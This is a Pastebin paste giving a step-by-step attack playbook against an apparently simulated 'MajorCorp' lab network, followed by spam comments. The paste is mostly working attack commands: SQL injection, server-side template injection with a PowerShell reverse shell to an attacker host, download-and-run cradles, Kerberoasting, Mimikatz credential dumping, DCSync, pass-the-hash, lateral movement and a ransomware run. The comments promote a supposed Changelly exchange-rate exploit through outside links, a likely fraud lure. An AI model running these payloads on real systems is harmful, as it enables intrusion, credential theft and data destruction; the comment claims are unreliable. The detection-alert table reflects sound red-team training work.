orenma

Untitled

Mar 29th, 2026
5,594
0
Never
12
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.70 KB | Cybersecurity | 0 0
  1. MajorCorp Attack Playbook — Full Kill Chain
  2. > Target: MajorCorp HR Portal at 192.168.20.251
  3. > Attacker: Kali Linux
  4. > Scope: Phases 1–6 (Initial Access → Ransomware)
  5. ***Variables — Set These First (Kali)
  6. export WEB_IP=192.168.20.251
  7. export ATTACKER_IP=<your_kali_ip>
  8. Phase 0 — Pre-Attack Verification
  9. # Verify HR Portal is up
  10. curl -s http://$WEB_IP/health
  11. # Port scan
  12. nmap -sV -p 80,443,3389,5985,5986 $WEB_IP
  13. # Decompress wordlist (one-time)
  14. gunzip /usr/share/wordlists/rockyou.txt.gz
  15. ***Phase 1 — Initial Access (T1190, T1059)
  16. 1.1 — Enumerate Web Endpoints
  17. gobuster dir -u http://$WEB_IP -w /usr/share/wordlists/dirb/common.txt -x js,txt
  18. Key endpoints discovered:
  19. /login — SQL Injection (auth bypass) — T1190
  20. /reports — SSTI / RCE via EJS template — T1059.007
  21. /admin/diagnostic — Command Injection — T1059.001
  22. /upload — Unrestricted file upload — T1190
  23. /api/search?q= — SQL Injection (data exfiltration) — T1190
  24. 1.2 — SQL Injection: Auth Bypass + Credential Dump (T1190)
  25. Navigate to http://<WEB_IP>/login:
  26. Username: admin'--
  27. Password: (anything)
  28. Then dump all credentials:
  29. http://<WEB_IP>/api/search?q=' UNION SELECT username,password,role FROM users--
  30. Expected credentials:
  31. | Account | Password | Notes |
  32. |---------|----------|-------|
  33. | admin | SuperSecretAdmin123! | HR portal admin |
  34. | svc_backup | Backup2024! | Domain Admin ★ |
  35. | svc_sql | Summer2024! | Service account |
  36. | svc_web | WebApp123! | Service account |
  37. | svc_iis | IISp@ss2024 | Service account |
  38. 1.3 — SSTI: Confirm RCE (T1059.007)
  39. Log in, go to Reports → Generate Report, paste in the Custom Header field:
  40. <%= global.process.mainModule.require('child_process').execSync('whoami').toString() %>
  41. Expected output: nt authority\system or the Node service account.
  42. Additional recon payloads for Custom Header:
  43. # Confirm dual NIC — look for 10.0.2.x interface
  44. <%= global.process.mainModule.require('child_process').execSync('ipconfig /all').toString() %>
  45. # List domain users
  46. <%= global.process.mainModule.require('child_process').execSync('net user /domain').toString() %>
  47. # Dump environment variables
  48. <%= JSON.stringify(process.env) %>
  49. 1.4 — Reverse Shell via SSTI (T1059.001)
  50. Step 1 — On Kali, start listener:
  51. nc -lvnp 4444
  52. Step 2 — Paste in Custom Header (replace ATTACKER_IP):
  53. <%= global.process.mainModule.require('child_process').execSync('powershell -nop -c "$c=New-Object Net.Sockets.TCPClient(\'ATTACKER_IP\',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+\'PS \'+$(pwd).Path+\' > \';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"').toString() %>
  54. You now have an interactive PowerShell shell on WEB-SERVER.
  55. 1.5 — Alternative: Command Injection (T1059.001)
  56. If SSTI is unavailable, use /admin/diagnostic (requires admin session from 1.2). In the IP Address field:
  57. 127.0.0.1 & whoami
  58. 127.0.0.1 & net user /domain
  59. 127.0.0.1 & powershell -c "Get-ADUser -Filter * | Select SamAccountName"
  60. ***Phase 2 — Discovery & AD Enumeration (T1046, T1082, T1087)
  61. > All commands run from the reverse shell on WEB-SERVER.
  62. 2.1 — Verify Internal Network Reachability
  63. Test-NetConnection -ComputerName 10.0.2.10 -Port 88 # DC01 Kerberos
  64. Test-NetConnection -ComputerName 10.0.2.20 -Port 5985 # WORKSTATION WinRM
  65. Test-NetConnection -ComputerName 10.0.2.30 -Port 445 # FILE-SERVER SMB
  66. All three should return TcpTestSucceeded : True.
  67. 2.2 — Download & Run Post-Exploitation Toolkit
  68. # Option A: Load in memory
  69. IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/SilentProcess87/LockDownLab/main/ad-scripts/Invoke-PostExploitation.ps1')
  70. # Option B: Save to disk
  71. Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/SilentProcess87/LockDownLab/main/ad-scripts/Invoke-PostExploitation.ps1' `
  72. -OutFile C:\Invoke-PostExploitation.ps1 -UseBasicParsing
  73. If WEB-SERVER has no internet, upload via Evil-WinRM from Kali:
  74. evil-winrm -i $WEB_IP -u Administrator -p '<lab_password>'
  75. upload /path/to/Invoke-PostExploitation.ps1 C:\Invoke-PostExploitation.ps1
  76. 2.3 — Run Full Automated Recon
  77. .\Invoke-PostExploitation.ps1 -Phase Recon
  78. # Output: C:\Temp\PostExploit\Reports\01_Reconnaissance.json
  79. This automatically:
  80. Enumerates local host (OS, IPs, services)
  81. Port-scans 10.0.2.0/24 — discovers DC01, WORKSTATION, FILE-SERVER
  82. LDAP-queries AD for all users, groups, computers, Domain Admins, SPNs
  83. Downloads and runs SharpHound with -c All
  84. ***Phase 3 — Credential Access (T1558, T1003, T1552)
  85. 3.1 — Automated Credential Harvesting
  86. .\Invoke-PostExploitation.ps1 -Phase Credentials
  87. # Output: C:\Temp\PostExploit\Reports\02_Credentials.json
  88. 3.2 — Kerberoasting with Rubeus (T1558.003)
  89. # Roast all service accounts
  90. C:\Temp\PostExploit\Tools\Rubeus.exe kerberoast /outfile:C:\Temp\PostExploit\Loot\kerberoast.txt /simple
  91. # Target svc_backup specifically
  92. C:\Temp\PostExploit\Tools\Rubeus.exe kerberoast /user:svc_backup /outfile:C:\Temp\PostExploit\Loot\svc_backup.hash
  93. Kerberoastable accounts:
  94. | Account | SPN | Cracked Password | Privilege |
  95. |---------|-----|-------------------|-----------|
  96. | svc_backup | backup/dc01.majorcorp.local | Backup2024! | Domain Admin ★ |
  97. | svc_sql | MSSQLSvc/sql01.majorcorp.local:1433 | Summer2024! | Service |
  98. | svc_web | HTTP/web01.majorcorp.local | WebApp123! | Service |
  99. | svc_iis | HTTP/iis01.majorcorp.local | IISp@ss2024 | Service |
  100. 3.3 — AS-REP Roasting (T1558.004)
  101. C:\Temp\PostExploit\Tools\Rubeus.exe asreproast /outfile:C:\Temp\PostExploit\Loot\asrep.txt /simple
  102. # Vulnerable: svc_legacy (Legacy2024!), temp.user (TempP@ss123)
  103. 3.4 — GPP Password from SYSVOL (T1552.006)
  104. . C:\Temp\PostExploit\Tools\GetGPPPassword.ps1
  105. Get-GPPPassword
  106. # Reveals: local_admin : LocalAdminP@ss123!
  107. 3.5 — LSASS Dump with Mimikatz (T1003.001)
  108. . C:\Temp\PostExploit\Tools\InvokeMimikatz.ps1
  109. Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
  110. 3.6 — Registry Hive Dump (T1003.002)
  111. reg save HKLM\SAM C:\Temp\PostExploit\Loot\SAM /y
  112. reg save HKLM\SYSTEM C:\Temp\PostExploit\Loot\SYSTEM /y
  113. reg save HKLM\SECURITY C:\Temp\PostExploit\Loot\SECURITY /y
  114. 3.7 — Crack Hashes on Kali
  115. Transfer loot files to Kali, then:
  116. # Kerberoast (RC4-HMAC)
  117. hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
  118. # → svc_backup : Backup2024! ← DOMAIN ADMIN
  119. # AS-REP
  120. hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
  121. # → svc_legacy : Legacy2024! | temp.user : TempP@ss123
  122. # NTLM (from Mimikatz / secretsdump)
  123. hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt --force
  124. ***Phase 4 — Privilege Escalation (T1078, T1574.005)
  125. 4.1 — Use Cracked Domain Admin Credentials (T1078) — Primary Path
  126. $cred = New-Object System.Management.Automation.PSCredential(
  127. "MAJORCORP\svc_backup",
  128. (ConvertTo-SecureString "Backup2024!" -AsPlainText -Force)
  129. )
  130. Enter-PSSession -ComputerName 10.0.2.10 -Credential $cred
  131. # Prompt: [DC01]: PS C:\Users\svc_backup\Documents> ← Domain Admin confirmed
  132. 4.2 — AlwaysInstallElevated: SYSTEM via MSI (T1574.005) — Alternative Path
  133. Verify GPO is active on WORKSTATION:
  134. Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
  135. Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
  136. # Both should return 1
  137. Generate malicious MSI on Kali:
  138. msfvenom -p windows/adduser USER=hacker PASS=Hacker123! -f msi -o privesc.msi
  139. Upload and execute on target:
  140. msiexec /quiet /qn /i C:\privesc.msi
  141. # Runs as SYSTEM — adds hacker:Hacker123! as local admin
  142. 4.3 — Pass-the-Hash Spray from Kali (T1550.002)
  143. crackmapexec smb 10.0.2.0/24 -u svc_backup -p 'Backup2024!' -d MAJORCORP
  144. crackmapexec smb 10.0.2.0/24 -u Administrator -H <NTLM_HASH> --local-auth
  145. # "Pwn3d!" = confirmed local admin
  146. ***Phase 5 — Lateral Movement (T1021, T1047, T1550)
  147. 5.1 — Move to WORKSTATION (10.0.2.20)
  148. # From WEB-SERVER reverse shell
  149. $cred = New-Object System.Management.Automation.PSCredential(
  150. "MAJORCORP\bob.johnson",
  151. (ConvertTo-SecureString "ITadmin2024!" -AsPlainText -Force)
  152. )
  153. Enter-PSSession -ComputerName 10.0.2.20 -Credential $cred
  154. From Kali (alternative):
  155. evil-winrm -i 10.0.2.20 -u bob.johnson -p 'ITadmin2024!'
  156. 5.2 — Move to DC01 (10.0.2.10)
  157. $cred = New-Object System.Management.Automation.PSCredential(
  158. "MAJORCORP\svc_backup",
  159. (ConvertTo-SecureString "Backup2024!" -AsPlainText -Force)
  160. )
  161. Enter-PSSession -ComputerName 10.0.2.10 -Credential $cred
  162. From Kali:
  163. evil-winrm -i 10.0.2.10 -u svc_backup -p 'Backup2024!'
  164. # Or:
  165. psexec.py MAJORCORP/svc_backup:'Backup2024!'@10.0.2.10
  166. 5.3 — DCSync: Dump All Domain Hashes (T1003.006)
  167. From DC01 session (or any machine with DA creds):
  168. . C:\Temp\PostExploit\Tools\InvokeMimikatz.ps1
  169. Invoke-Mimikatz -Command "lsadump::dcsync /domain:MajorCorp.local /all /csv"
  170. Invoke-Mimikatz -Command "lsadump::dcsync /domain:MajorCorp.local /user:krbtgt"
  171. Invoke-Mimikatz -Command "lsadump::dcsync /domain:MajorCorp.local /user:Administrator"
  172. From Kali (no Mimikatz needed):
  173. secretsdump.py MAJORCORP/svc_backup:'Backup2024!'@10.0.2.10 -just-dc-ntlm
  174. 5.4 — Move to FILE-SERVER (10.0.2.30)
  175. evil-winrm -i 10.0.2.30 -u it.admin -p 'ITadminP@ss!'
  176. Or via PowerShell:
  177. $cred = New-Object System.Management.Automation.PSCredential(
  178. "MAJORCORP\it.admin",
  179. (ConvertTo-SecureString "ITadminP@ss!" -AsPlainText -Force)
  180. )
  181. Enter-PSSession -ComputerName 10.0.2.30 -Credential $cred
  182. 5.5 — Unconstrained Delegation: Capture TGTs (T1558.001)
  183. FILE-SERVER has Unconstrained Delegation enabled:
  184. . C:\Temp\PostExploit\Tools\InvokeMimikatz.ps1
  185. Invoke-Mimikatz -Command "sekurlsa::tickets /export"
  186. Invoke-Mimikatz -Command "kerberos::ptt <CAPTURED_TICKET>.kirbi"
  187. ***Phase 6 — Ransomware Impact (T1486, T1490)
  188. > All Phase 6 commands run on FILE-SERVER (10.0.2.30).
  189. 6.1 — Get a Session on FILE-SERVER
  190. evil-winrm -i 10.0.2.30 -u it.admin -p 'ITadminP@ss!'
  191. 6.2 — Download the Simulation Script
  192. Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/SilentProcess87/LockDownLab/main/ad-scripts/Invoke-RansomwareSimulation.ps1' `
  193. -OutFile C:\Invoke-RansomwareSimulation.ps1 -UseBasicParsing
  194. If no internet, upload from Kali inside Evil-WinRM:
  195. upload /path/to/ad-scripts/Invoke-RansomwareSimulation.ps1 C:\Invoke-RansomwareSimulation.ps1
  196. 6.3 — Shadow Copy Enumeration (T1490)
  197. vssadmin list shadows
  198. Get-WmiObject Win32_ShadowCopy | Select-Object DeviceObject, InstallDate
  199. 6.4 — Dry Run (Safe Preview — Nothing Changes)
  200. .\Invoke-RansomwareSimulation.ps1 -TargetPath "D:\Shares" -DryRun
  201. 6.5 — Execute Ransomware Simulation
  202. # Standard run — auto-backup at C:\RansomwareBackup_<timestamp>
  203. .\Invoke-RansomwareSimulation.ps1 -TargetPath "D:\Shares"
  204. # Custom extension
  205. .\Invoke-RansomwareSimulation.ps1 -TargetPath "D:\Shares" -Extension ".locked"
  206. # No backup (more realistic, cannot auto-restore)
  207. .\Invoke-RansomwareSimulation.ps1 -TargetPath "D:\Shares" -CreateBackups:$false
  208. # If no D: drive
  209. .\Invoke-RansomwareSimulation.ps1 -TargetPath "C:\Shares"
  210. What happens:
  211. All *.txt, *.doc, *.docx, *.xls, *.xlsx, *.pdf, *.csv, *.xml, *.json, *.pptx, *.jpg, *.png are XOR-encrypted
  212. Encrypted files renamed to *.majorcrypt (or custom extension)
  213. Originals deleted; backup at C:\RansomwareBackup_<timestamp> unless disabled
  214. RANSOM_NOTE.txt dropped in every subdirectory
  215. 6.6 — Verify Impact
  216. Get-ChildItem D:\Shares -Recurse -Filter "*.majorcrypt" | Measure-Object
  217. Get-ChildItem D:\Shares -Recurse -Filter "RANSOM_NOTE.txt"
  218. Get-Content C:\RansomwareSimulation.log
  219. 6.7 — Restore Files After Training
  220. # Method 1: From automatic backup
  221. Copy-Item -Path "C:\RansomwareBackup_*\*" -Destination "D:\Shares" -Recurse -Force
  222. # Method 2: Decryption script
  223. Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/SilentProcess87/LockDownLab/main/ad-scripts/Invoke-RansomwareRestore.ps1' `
  224. -OutFile C:\Invoke-RansomwareRestore.ps1 -UseBasicParsing
  225. .\Invoke-RansomwareRestore.ps1 -TargetPath "D:\Shares" -Extension ".majorcrypt"
  226. ***Quick Reference — Credential Cheat Sheet
  227. | Hop | Account | Password |
  228. |-----|---------|----------|
  229. | SQLi Auth Bypass | admin'-- | (anything) |
  230. | WEB-SERVER → WORKSTATION | bob.johnson | ITadmin2024! |
  231. | Anywhere → DC01 (Domain Admin) | svc_backup | Backup2024! |
  232. | Anywhere → FILE-SERVER | it.admin | ITadminP@ss! |
  233. | GPP local admin | local_admin | LocalAdminP@ss123! |
  234. | AS-REP accounts | svc_legacy / temp.user | Legacy2024! / TempP@ss123 |
  235. Cortex XDR Expected Alerts
  236. | Phase | Action | MITRE | Alert |
  237. |-------|--------|-------|-------|
  238. | 1 | SQLi login bypass | T1190 | SQL injection in web traffic |
  239. | 1 | SSTI → RCE | T1059.007 | Suspicious child process from node.exe |
  240. | 1 | Reverse shell | T1059.001 | Outbound TCP from web service |
  241. | 2 | SharpHound | T1087 | Rapid LDAP enumeration |
  242. | 2 | Port scan | T1046 | Scan from non-scanner host |
  243. | 3 | Kerberoasting | T1558.003 | Anomalous TGS-REQ volume |
  244. | 3 | AS-REP Roasting | T1558.004 | AS-REP without pre-auth |
  245. | 3 | Mimikatz LSASS | T1003.001 | LSASS memory read — Critical |
  246. | 3 | Registry hive dump | T1003.002 | Sensitive hive export |
  247. | 3 | GPP cpassword | T1552.006 | SYSVOL Groups.xml access |
  248. | 4 | AlwaysInstallElevated | T1574.005 | Elevated MSI — SYSTEM |
  249. | 4 | svc_backup login | T1078 | Service account from workstation |
  250. | 5 | Pass-the-Hash | T1550.002 | NTLM auth anomaly |
  251. | 5 | WinRM lateral | T1021.006 | WinRM from unexpected host |
  252. | 5 | DCSync | T1003.006 | DS-Replication from non-DC — Critical |
  253. | 5 | Unconstrained delegation | T1558.001 | TGT capture on FILE-SERVER |
  254. | 6 | Mass encryption | T1486 | Ransomware behavior — Critical |
  255. | 6 | Ransom notes | T1486 | Note creation in multiple dirs |
  256. | 6 | Shadow copy enum | T1490 | VSS activity |
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • Jadbegup
    38 days
    # CSS 1.04 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. So apparently the Changelly node panel allows you to load an older node that has a bug in the exchange rate. The funny thing is that it uses a simple password, "admin," to access it.
    6.  
    7. This made me $13,000 in 2 days.
    8.  
    9. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 50% — they will simply correct the exchange rate.
    10.  
    11. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    12.  
    13. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from Changelly — instant swap).
  • Buvikog
    30 days
    # CSS 0.44 KB | 0 0
    1. Changelly Exploit Documentation Link:
    2.  
    3. https://docs.google.com/document/d/1Cz5fHkwyaApTWwqfgBBtpvConU8Lo_qJ9xtn7RazWpk/edit?usp=sharing
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
  • Ophcegba
    15 days
    # CSS 0.45 KB | 0 0
    1. ⭐ Changelly Profit Exploit Documentation ⭐
    2.  
    3. https://docs.google.com/document/d/1MzFoZVdCI0pv3Bkf4dAe-WjfaXKLNbI90hzSGKBqn9M/edit?usp=vcdewtxuwn
    4.  
    5. This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
    6.  
    7. The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader.
    8.  
    9. Join our Telegram Channel for more exploits: https://t.me/byprotocol
Add Comment
Please, Sign In to add comment